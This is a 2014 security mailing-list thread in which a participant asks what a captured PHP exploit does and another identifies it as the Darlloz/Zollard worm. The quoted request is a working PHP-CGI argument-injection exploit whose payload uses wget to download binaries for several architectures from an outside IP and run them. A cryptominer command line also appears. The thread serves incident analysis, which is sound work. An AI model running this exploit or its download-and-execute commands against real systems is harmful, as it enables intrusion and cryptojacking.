Re: What does this PHP exploit do?

[Pierre Schweitzer <pierre () reactos org>]

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So, the answer is yes (last time I answer myself, sorry).
This worm is Linux.Darlloz:
http://www.symantec.com/security_response/writeup.jsp?docid=2013-112710-1612-99

On 10/10/2014 22:00, Pierre Schweitzer wrote:
> I was about to forget: it also makes sure it is started on each 
> machine reboot by modifying init ramdisk.
>
> This was done through a quick analysis. It would require deeper
> one. Maybe someone already did one?
>
> On 10/10/2014 21:55, Pierre Schweitzer wrote:
> > Dear Dave,
>
> > Going quickly through the PHP script shows that it downloads
> > lots of executables for various architectures to then try to run
> > them (hence the chmod +x) on the host it was downloaded. So
> > pretty portable worm.
>
> > The executable it downloads appears to have two basic functions:
> > -> replicating itself over the network -> starting a
> > cryptocurrency miner (CPU miner) on the infected host
>
> > Here is the way it starts the miner: ./minerd -q -B -a scrypt -o 
> > http://p2pool.org:5643 -u MDFepZz9SpSbFSugUsXVE3CmrdTaKg1SWi -p 
> > pass
>
> > Cheers, Pierre
>
> > On 10/10/2014 21:28, Dave Horsfall wrote:
> > > My apologies if this is off-topic for this list, but out of
> > > all the security lists of which I am a member this seems to be
> > > the closest one that fits, so please point me to a more
> > > appropriate one in that case..
>
> > > I'm trying to figure out what this exploit does; it started 
> > > around the time that Shellshock did, but I don't think that 
> > > they're related.
>
> > > It downloads binaries for several architectures (even a MIPS) 
> > > which amongst other things futzes around with IPTABLES 
> > > (including blocking the TELNET port) and appears to be 
> > > self-reproducing.
>
> > > The hex-encoded stuff in the script below decodes to
>
> > > "-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-n"
>
> > >
>
> > > but my PHP-fu doesn't quite extend that far (and that 
> > > "safe_mode=off" looks a bit suss).
>
> > > Script below, kindly supplied by 0wned boxes the world over (in
> > >  this case, Korea):
>
> > > POST 
> > > /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
>
> > >
HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (compatible;
> > > Zollard; Linux) Content-Type: application/x-www-form-urlencoded
> > >  Content-Length: 1817 Connection: close
>
> > > <?php echo "Zollard"; $disablefunc = 
> > > @ini_get("disable_functions"); if (!empty($disablefunc)) { 
> > > $disablefunc = str_replace(" ","",$disablefunc); $disablefunc =
> > >  explode(",",$disablefunc); } function myshellexec($cmd) {
> > > global $disablefunc; $result = ""; if (!empty($cmd)) { if 
> > > (is_callable("exec") and !in_array("exec",$disablefunc)) 
> > > {exec($cmd,$result); $result = join("\n",$result);} elseif 
> > > (($result = `$cmd`) !== FALSE) {} elseif
> > > (is_callable("system") and !in_array("system",$disablefunc))
> > > {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result =
> > > @ob_get_contents(); @ob_clean(); echo $v;} elseif
> > > (is_callable("passthru") and 
> > > !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); 
> > > @ob_clean(); passthru($cmd); $result = @ob_get_contents(); 
> > > @ob_clean(); echo $v;} elseif (is_resource($fp = 
> > > popen($cmd,"r"))) { $result = ""; while(!feof($fp)) {$result
> > > .= fread($fp,1024);} pclose($fp); } } return $result; } 
> > > myshellexec("rm -rf /tmp/armeabi;wget -P /tmp 
> > > http://119.206.52.15:58455/armeabi;chmod +x /tmp/armeabi"); 
> > > myshellexec("rm -rf /tmp/arm;wget -P /tmp 
> > > http://119.206.52.15:58455/arm;chmod +x /tmp/arm"); 
> > > myshellexec("rm -rf /tmp/ppc;wget -P /tmp 
> > > http://119.206.52.15:58455/ppc;chmod +x /tmp/ppc"); 
> > > myshellexec("rm -rf /tmp/mips;wget -P /tmp 
> > > http://119.206.52.15:58455/mips;chmod +x /tmp/mips"); 
> > > myshellexec("rm -rf /tmp/mipsel;wget -P /tmp 
> > > http://119.206.52.15:58455/mipsel;chmod +x /tmp/mipsel"); 
> > > myshellexec("rm -rf /tmp/x86;wget -P /tmp 
> > > http://119.206.52.15:58455/x86;chmod +x /tmp/x86"); 
> > > myshellexec("rm -rf /tmp/nodes;wget -P /tmp 
> > > http://119.206.52.15:58455/nodes;chmod +x /tmp/nodes"); 
> > > myshellexec("rm -rf /tmp/sig;wget -P /tmp 
> > > http://119.206.52.15:58455/sig;chmod +x /tmp/sig"); 
> > > myshellexec("/tmp/armeabi;/tmp/arm;/tmp/ppc;/tmp/mips;/tmp/mipsel;/tmp/x86;");
>
> > >  -- Dave

- -- 
Pierre Schweitzer <pierre at reactos.org>
System & Network Administrator
Senior Kernel Developer
ReactOS Deutschland e.V.
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